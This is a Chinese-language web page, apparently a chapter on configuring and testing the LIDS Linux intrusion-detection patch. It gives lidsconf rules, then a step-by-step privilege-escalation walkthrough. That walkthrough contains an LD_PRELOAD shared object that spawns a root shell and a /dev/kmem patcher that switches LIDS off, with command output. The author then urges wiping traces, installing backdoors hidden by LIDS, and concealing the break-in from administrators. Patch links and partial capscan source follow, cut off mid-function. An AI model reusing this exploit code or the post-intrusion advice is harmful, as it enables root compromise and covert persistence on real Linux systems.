?? 5.html
字號:
/sbin/lidsconf -A -s /bin/login -o /var/log/wtmp -j WRITE<br>/sbin/lidsconf -A -s /bin/login -o /var/log/lastlog -j WRITE<br>/sbin/lidsconf -A -s /sbin/init -o /var/log/wtmp -j WRITE<br>/sbin/lidsconf -A -s /sbin/init -o /var/log/lastlog -j WRITE<br>/sbin/lidsconf -A -s /sbin/halt -o /var/log/wtmp -j WRITE<br>/sbin/lidsconf -A -s /sbin/halt -o /var/log/lastlog -j WRITE<br>/sbin/lidsconf -A -s /etc/rc.d/rc.sysinit -o /var/log/wtmp -i 1 -j WRITE<br>/sbin/lidsconf -A -s /etc/rc.d/rc.sysinit -o /var/log/lastlog -i 1 -j WRITE<p># Shutdown<br>/sbin/lidsconf -A -s /sbin/init -o CAP_INIT_KILL -j GRANT<br>/sbin/lidsconf -A -s /sbin/init -o CAP_KILL -j GRANT<br># Give the following init script the proper privileges to kill processes and<br># unmount the file systems. However, anyone who can execute these scripts<br># by themselves can effectively kill your processes. It's better than<br># the alternative, however.<br>/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_INIT_KILL -i 1 -j GRANT<br>/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_KILL -i 1 -j GRANT<br>/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_NET_ADMIN -i 1 -j GRANT<br>/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_ADMIN -i 1 -j GRANT<br>/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_RAWIO -i 1 -j GRANT<p># Other<br>/sbin/lidsconf -A -s /sbin/update -o CAP_SYS_ADMIN -j GRANT<br>/sbin/lidsconf -A -s /sbin/consoletype -o CAP_SYS_ADMIN -j GRANT<p>#Protect and hide Httpd<br>/sbin/lidsconf -A -o /etc/httpd -j DENY<br>/sbin/lidsconf -A -s /usr/sbin/httpd -o /etc/httpd -j READONLY<br>/sbin/lidsconf -A -s /usr/sbin/httpd -o CAP_HIDDEN -j GRANT<br>---------------------------------------------------------------------------------<br> 運行命令/sbin/lidsadm -S -- -LIDS切換到不受lids保護的狀態(tài)，然后執(zhí)行配置腳本，運行命令/sbin/lidsadm -S -- +RELOAD_CONF，更新lids配置，最后lidsadm -S -- +LIDS切換到lids保護狀態(tài)<br> 通過命令如ls /etc/shadow、ls /etc/lids、touch /sbin/x、ps ax|grep http等命令測試lids保護的文件、目錄和進程等；通過掃描器掃描測試lids的檢測功能以及l(fā)ids的響應功能等。最好的辦法是模仿黑客成功入侵后所做的活動，如裝rootkit等來檢驗lids的主要功能。<p><center><A HREF="#Content">[目錄]</A></center><hr><br><A NAME="I729" ID="I729"></A><center><b><font size=+2>漏洞測試</font></b></center><br>2.漏洞測試：<br> LD_PRELOAD能夠編寫一個LIDS可執(zhí)行任意代碼的程序，這意味著入侵者能夠獲得LIDS配置下的權限和文件訪問能力，如果用CAP_SYS_RAWIO 或者CAP_SYS_MODULE，入侵者可以停掉LIDS并且獲得訪問一切文件的權限。 在某些配置下，還能夠獲得root權限。<p>可以到下載下面的測試程序：<br>http://www.lids.org/download/test-lids.sh<br>http://www.lids.org/download/test-lids.sh.asc<p> 下面開始入侵裝有l(wèi)ids的linux，當然該lids是有bug的了。<br> 首先是獲得一個普通帳號了，通過finger、sendmail等或是社交工程都可以，相信難不倒各位，只要有個帳號就可以，當然還需要能夠遠程登錄，如果能本機登錄就更好了！<p>[test@rh72 test]$ls /proc/sys<br>abi debug dev fs kernel lids net proc<br>[test@rh72 test]$ls /sbin/lids*<br>/sbin/lidsadm /sbin/lidsconf<br>--可見該系統(tǒng)安裝了lids<p>[test@rh72 test]$vi testlids.sh<br>---------------------------------------------------------------------------------<br>#!/bin/sh<p># Creates /tmp/boom.so you might<br># use to let LIDS leak capabilities<br># to your shell.<p>cat>/tmp/boom.c<<_EOF_;<br>#include <stdio.h><br>#include <unistd.h><br>#include <fcntl.h><p>_init()<br>{<br>char *a[] = {"/bin/bash", NULL};<br>setuid(0);<br>close(0);close(1);close(2);<br>open("/dev/tty", O_RDWR);<br>dup(0);<br>dup(1);<br>execve(*a,a,NULL);<br>return -1;<br>}<p>_EOF_<p>cc -c -fPIC /tmp/boom.c -o /tmp/boom.o<br>ld -Bshareable /tmp/boom.o -o /tmp/boom.so<br>echo "OK";<br>---------------------------------------------------------------------------------<br>[test@rh72 test]$ chmod +x testlids.sh<br>[test@rh72 test]$ ./testlids.sh<br>OK<br>[test@fire lids]$ LD_PRELOAD=/tmp/boom.so /bin/login<br>[root@fire lids]# whoami<br>root<br> 哇塞，這么容易就獲得root權限了，比沒有裝lids的linux更容易，真爽！：）<br>可見，普通用戶通過LD_PRELOAD可以直接從裝有存在bug的lids的系統(tǒng)中獲得超級用戶權限，所以安裝lids的管理員一定要注意升級和配置lids。<p>（之所以通過/bin/login直接獲得root權限是因為采用如下的lids配置命令<br>/sbin/lidsconf -A -s /bin/login -o CAP_SETUID -j GRANT<br>/sbin/lidsconf -A -s /bin/login -o CAP_SETGID -j GRANT<br>/sbin/lidsconf -A -s /bin/login -o CAP_CHOWN -j GRANT<br>/sbin/lidsconf -A -s /bin/login -o CAP_FSETID -j GRANT ）<p>[root@fire lids]# ./capscan -b （capscan用來探測lids的功能約束）<br>b 5 CAP_KILL<br>[root@fire lids]# touch /sbin/xlids<br>touch: /sbin/xlids: Operation not permitted<br>[root@fire lids]#LD_PRELOAD=/tmp/boom.so /etc/rc.d/init.d/halt<br>[root@fire lids]# ./capscan -b<br>b 5 CAP_KILL<br>b 12 CAP_NET_ADMIN<br>b 17 CAP_SYS_RAWIO<br>b 21 CAP_SYS_ADMIN<br>b 27 CAP_MKNOD<br>--可見我們已經(jīng)從halt腳本獲得了CAP_NET_ADMIN、CAP_SYS_RAWIO和CAP_SYS_ADMIN功能<br>[root@fire lids]# touch /sbin/xlids<br>touch: /sbin/xlids: Operation not permitted<br>[root@fire lids]# ls -al /etc/lids<br>ls: /etc/lids: No such file or directory<br>[root@fire lids]# /sbin/lidsconf -L<br>LIST<br>LIDS: lidsconf(dev 3:1 inode 150018) pid 630 ppid 581 uid/gid (0/0) on (vc/1):<br>access hidden file /etc/lids/lids.conf<br>lidsconf:cannot open /etc/lids/lids.conf<br>reason: No such file or directory<br>--可見lids仍起作用，并對/sbin和/etc/lids作了保護，其中/sbin作了只讀保護，/etc/lids拒絕訪問<br>[root@fire lids]#vi lidsoff.c<br>---------------------------------------------------------------------------------<br>#lidsoff.c: //主要是將內(nèi)核中的變量lids_load置為0<p>/* Simple and stupid kmem patcher for LIDS.<br>* Licensed under the GPL. :-)<br>*/<br>#include <stdio.h><br>#include <unistd.h><br>#include <fcntl.h><br>#include <errno.h><br>#include <stdlib.h><p>void die(const char *s)<br>{<br>perror(s);<br>exit(errno);<br>}<p><br>int main(int argc, char **argv)<br>{<p>char zero;<br>off_t off;<br>int kmem;<p>if (argc < 2) {<br>printf("Usage: %s <addr-of-lids_local_on-in-hex>\n\n", *argv);<br>return 1;<br>}<p>kmem = open("/dev/kmem", O_RDWR);<br>if (kmem < 0)<br>die("open");<p>off = strtoul(argv[1], 0, 16);<br>printf("# Patching [%x]\n", off-4);<p>lseek(kmem, off-4, SEEK_SET);<br>read(kmem, &zero, sizeof(zero));<br>printf("%d -> 0\n", zero);<p>lseek(kmem, off-4, SEEK_SET);<br>zero = 0;<br>write(kmem, &zero, sizeof(zero));<br>close(kmem);<br>return 0;<br>}<br>---------------------------------------------------------------------------------<br>[root@fire lids]# gcc -o lidsoff lidsoff.c<br>[root@fire lids]# grep lids /proc/ksyms<br>c0113868 lids_send_message_Rsmp_ccaa3a65<br>c029af60 lids_load_Rsmp_a57ab5ad<br>c029af64 lids_local_on_Rsmp_641824fe<br>c029af6c lids_local_pid_Rsmp_2a2dd337<br>c0129270 lids_local_off_Rsmp_445f75c1<br>[root@fire lids]# ./lidsoff<br>Usage: ./lidsoff <addr-of-lids_local_on-in-hex><br>[root@fire lids]# ./lidsoff c029af64<br># Patching [c029af60]<br>1 -> 0<br>哈哈， lids已經(jīng)關閉了，不再起作用了！<br>[root@fire lids]# ls /etc/lids/lids.conf<br>/etc/lids/lids.conf<br>[root@fire lids]# touch /sbin/xlids<p> 至此，已經(jīng)完全控制了裝有l(wèi)ids的linux，很easy是吧，最后別忘了擦腳印、裝后門。當然可以利用lids隱藏后門程序目錄和進程了，連rootkit都可以省了。完事后切換lids的狀態(tài)，不然管理員很容易就發(fā)現(xiàn)入侵了。不過受害機器的控制臺上可能會有一些警告顯示，最好是重起或者用一些掃描信息替換掉！:)<br><center><A HREF="#Content">[目錄]</A></center><hr><br><A NAME="I727" ID="I727"></A><center><b><font size=+2>附錄</font></b></center><br>lids解決辦法：<p>對于2.4用戶：<br>http://www.lids.org/download/lids-1.1.1pre2-2.4.16.tar.gz<br>http://www.lids.org/download/lids-1.1.1pre2-2.4.16.tar.gz.asc<br>（或者lids-1.1.1pre2以后的版本）<p>對于2.2用戶：<br>http://www.lids.org/download/LIDS-security-patch-0.10.1-2.2.20.diff.gz<br>http://www.lids.org/download/LIDS-security-patch-0.10.1-2.2.20.diff.gz.asc<br>（或者lids-0.11.0以后的版本）<p>附capscan 源程序：<br>--------------[ stealth <stealth@segfault.net> ]--------------------------------<br>#cap.h<br>---------------------------------------------------------------------------------<br>#ifndef __cap_h__<br>#define __cap_h__<p>#include <linux/capability.h><p>typedef struct __user_cap_header_struct cap_user_header;<br>typedef struct __user_cap_data_struct cap_user_data;<p>int capget(cap_user_header_t,cap_user_data_t);<br>int capset(cap_user_header_t,cap_user_data_t);<br>int print_cap(cap_user_data_t, cap_user_data_t);<p>int brute_caps();<p>#endif<br>---------------------------------------------------------------------------------<br># cap.c<br>---------------------------------------------------------------------------------<br>#include <stdio.h><br>#include <string.h><br>#include <unistd.h><br>#include <fcntl.h><br>#include <stdlib.h><br>#include <sys/types.h><br>#include <sys/socket.h><br>#include <netinet/in.h><br>#include <signal.h><br>#include <sys/ioctl.h><br>#include <net/if.h><br>#include <linux/module.h><br>#include <errno.h><br>#include <sys/ptrace.h><br>#include <sys/stat.h><br>#include "cap.h"<p>extern int wait(int *);<p>int try_chown()<br>{<br>char p[] = "/tmp/fooXXXXXX";<br>int r, fd = mkstemp(p);<br>if (fd < 0)<br>return 0;<br>close(fd);<p>/* try a give-away */<br>if (chown(p, getuid()+1, getgid()+1) < 0)<br>r = 0;<br>else<br>r = 1;<p>unlink(p);<br>return r;<br>}<p><br>int try_setuid()<br>{<br>int euid = geteuid();<p>if (seteuid(euid + 1) < 0)<br>return 0;<p>seteuid(euid);<br>return 1;<br>}<p><br>int try_setgid()<br>{<br>int egid = getegid();<p>if (setegid(egid + 1) < 0)<br>return 0;<p>setegid(egid);<br>return 1;<br>}<p><br>int try_kill()<br>{<br>/* XXX: suffices? */<br>if (kill(1, SIGCONT) < 0)<br>return 0;<br>return 1;<br>}<p><br>int try_bind()<br>{<br>struct sockaddr_in sin;<br>int r, fd = socket(PF_INET, SOCK_STREAM, 0);<br>if (fd < 0)<br>?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -